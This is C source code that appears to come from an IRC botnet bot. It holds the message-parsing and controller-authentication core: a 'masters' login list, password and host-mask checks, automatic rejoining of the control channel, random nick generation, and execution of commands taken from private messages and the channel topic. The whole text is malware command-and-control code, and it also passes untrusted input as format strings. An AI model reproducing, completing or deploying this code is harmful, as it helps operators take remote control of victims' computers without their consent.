int IRC_ProtocolParse(char *line, SOCKET sock, char *server, char *channel, char *chanpass, char *nick, char *host, char masters[MAXLOGINS][MAXIDENT], int *in_channel, int repeat, int clone) { char line1[IRCLINE], line2[IRCLINE], sendbuf[IRCLINE]; char *a[MAXTOKENS], user[MAXIDENT], *ptr; int i, s=3; DWORD id=0; BOOL ismaster = FALSE; _snprintf(line1, sizeof(line1), line); a[0] = strtok(line1, " "); for (i = 1; i < MAXTOKENS; i++) a[i] = strtok(NULL, " "); if (a[0] == NULL || a[1] == NULL) return 1; if (strcmp("PING", a[0]) == 0) { irc_sendv(sock, "PONG %s\r\n", a[1]); if (*in_channel == 0) irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass); return 1; } if (a[0][0] == ':') { _snprintf(user, sizeof(user), a[0]+1); strtok(user, "!"); } else return 1; for (i = 0; i < MAXLOGINS; i++) { if (strcmp(masters[i], a[0]) == 0) ismaster = TRUE; } //if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0 || (strcmp("TOPIC", a[1]) == 0 && topiccmd)) { if (strcmp("PRIVMSG", a[1]) == 0 || strcmp("NOTICE", a[1]) == 0) { if (a[2] == NULL || a[3] == NULL) return 1; //if (strcmp("TOPIC", a[1]) == 0 && clone != 0) // return 1; if (a[2][0] != '#' || strcmp("NOTICE",a[1]) == 0) a[2] = user; if (++a[3] && nick) { s = (strncmp(nick, a[3], strlen(nick)) == 0)?(4):(3); if (a[s] == NULL) return 1; if (a[s][0] == prefix && clone == 0) { a[s]++; return (IRC_CommandParse(line,a,s,sock,server,channel,chanpass,nick,user,host,masters,ismaster,repeat)); } if (strcmp("\1VERSION\1", a[s]) == 0) { if (a[2][0] != '#' && versionlist[current_version][0] != '\0') { irc_sendv(sock, "NOTICE %s :\1VERSION %s\1\r\n", a[2], (char *)versionlist[current_version]); return 1; } } else if (strcmp("\1PING", a[s]) == 0) { if (a[s+1] && a[2][0] != '#') { irc_sendv(sock, "NOTICE %s :\1PING %s\1\r\n", a[2], a[s+1]); return 1; } } } } else if (strcmp("KICK", a[1]) == 0) { for (i = 0; i < MAXLOGINS; i++) { if (masters[i][0] != '\0') { if ((strncmp(masters[i], a[0], strlen(masters[i])) == 0) || (strcmp(user,a[3]) == 0)) { masters[i][0] = '\0'; _snprintf(sendbuf,sizeof(sendbuf),"[MAIN]: User: %s logged out.", user); irc_sendv(sock, "NOTICE %s :%s\r\n", user, sendbuf); break; } } } if (strcmp(nick, a[3]) == 0) { *in_channel = 0; irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass); } return 1; } else if (strcmp("PART", a[1]) == 0 || strcmp("QUIT", a[1]) == 0) { for (i = 0; i < MAXLOGINS; i++) { if (masters[i][0] != '\0') { if (strncmp(masters[i], a[0], strlen(masters[i])) == 0) { masters[i][0] = '\0'; _snprintf(sendbuf, sizeof(sendbuf), "[MAIN]: User: %s logged out.", user); if (strcmp("PART", a[1]) == 0) irc_sendv(sock, "NOTICE %s :%s\r\n", a[0]+1, sendbuf); return 1; } } } } else if (strcmp("NICK", a[1]) == 0) { if(strcmp(user, nick) == 0) _snprintf(nick,MAXNICKLEN,a[2]+1); else { for (i = 0; i < MAXLOGINS; i++) { if (masters[i][0] != '\0') { if (strcmp(masters[i],a[0]) == 0) { char *identhost = strchr(a[0],'!'); if (identhost && (strlen(a[2]+1) + strlen(identhost) < MAXIDENT)) { _snprintf(sendbuf, sizeof(sendbuf), "[MAIN]: Master: %s changed identity to: .",masters[i],a[0]+1); _snprintf(masters[i],MAXIDENT,":%s%s",a[2]+1,identhost); } else _snprintf(sendbuf, sizeof(sendbuf), "[MAIN]: Failed to change nick for Master: %s.",masters[i]); break; } } } } return 1; } else if ((i=atoi(a[1])) != 0) { switch (i) { case 0: break; case 1: irc_sendv(sock, "USERHOST %s\r\n", nick); #ifndef NO_MODEONCONN irc_sendv(sock, "MODE %s %s\r\n", nick, modeonconn); #else irc_sendv(sock, "MODE %s +i\r\n", nick); #endif irc_sendv(sock, "JOIN %s %s\r\n", channel, chanpass); if (strcmp(chanmode, "") != 0 && clone == 0) irc_sendv(sock, "MODE %s %s\r\n", channel, chanmode); success = TRUE; break; case 302: ptr = strstr(a[3], "@"); if (ptr != NULL) _snprintf(host, MAXHOSTNAME, ptr+1); break; case 332: if (a[4]) { if (a[4][1] == prefix && clone == 0) { char *b[MAXTOKENS]; int rval; ptr = strstr(line, " :"); ptr += 2; _snprintf(sendbuf, sizeof(sendbuf), ptr); b[i=0] = strtok(sendbuf, "|"); for (i=1;b[i] = strtok(NULL,"|"); i++) while (b[i][0] == ' ') b[i]++; i=0, rval=0; while (b[i]) { _snprintf(line2, sizeof(line2), line); ptr = strstr(line2, " :"); ptr += 2; sprintf(ptr, b[i]); _snprintf(line1,sizeof(line1),line2); a[0] = strtok(line1, " "); for (int j = 1; j < MAXTOKENS; j++) a[j] = strtok(NULL, " "); a[s = 4]+=2; a[2] = a[3]; Sleep(100); rval = IRC_CommandParse(line2,a,s,sock,server,channel,chanpass,nick,user,host,masters,ismaster,repeat); if (b[++i]) Sleep(FLOOD_DELAY); } return (rval); } } break; case 353: if (strcmp(channel, a[4]) == 0) *in_channel = 1; break; case 433: char nickbuf[MAXNICKLEN]; memset(nickbuf,0,sizeof(nickbuf)); rndnick(nickbuf, nicktype, nickprefix); irc_sendv(sock,"NICK %s\r\n",nickbuf); break; default: break; } } return 1; }
int private_msg(char* params, irc_reply_data* hostd, void* conn) { IRC* irc=(IRC*)conn; char *a[MAX_TOKENS]; params++; char fcmd[1024]; strcpy(fcmd,params); int t=SplitParams(a,params,MAX_TOKENS); if (fcmd[0] == prefix) { SWITCHES switches=GetSwitches(a,t); for (int u=0;u<MAX_TOKENS;u++) { if (a[u]) { //lulwhat() -h1t3m- } } if (!a[0]) return 1; if (a[0][0] == prefix) { a[0]++; if (irc->is_logged_in(hostd->nick,hostd->ident,hostd->host)) { if (!strcmp(hostd->target,irc->current_nick())) hostd->target=hostd->nick; IRC_CommandParse(a,t,fcmd,hostd,irc,switches); } else { if (!strcmp(hostd->target,irc->current_nick())) { hostd->target=hostd->nick; } if (!strcmp(a[0],get_auth)) { if (a[1]==NULL) return 1; char h[256]; _snprintf(h,sizeof(h),"%s!%s@%s",hostd->nick,hostd->ident,hostd->host); BOOL host_ok=FALSE; for (int i=0; i < authsize; i++) { #ifndef NO_WILDCARD if (wildcardfit(authost[i], h)) { host_ok = TRUE; break; } #else if (strcmp(h, authost[i]) == 0) { host_ok = TRUE; break; } #endif } if (!host_ok || strcmp(Decode(password), a[1]) != 0) { return 1; } if (irc->add_login(hostd->nick,hostd->ident,hostd->host) == -1) { if (!switches.silent) irc->pmsg(hostd->target,str_auth_full,main_title); } else { if (!switches.silent) irc->pmsg(hostd->target,str_auth_good,main_title); } return 1; } } } } else { if (lstrcmpi(hostd->target,irc->current_nick())) return 1; if (!lstrcmpi("\1VERSION\1",a[0])) { return 1; } if (!lstrcmpi("\1PING",a[0]) && a[1]) { return 1; } } return 0; }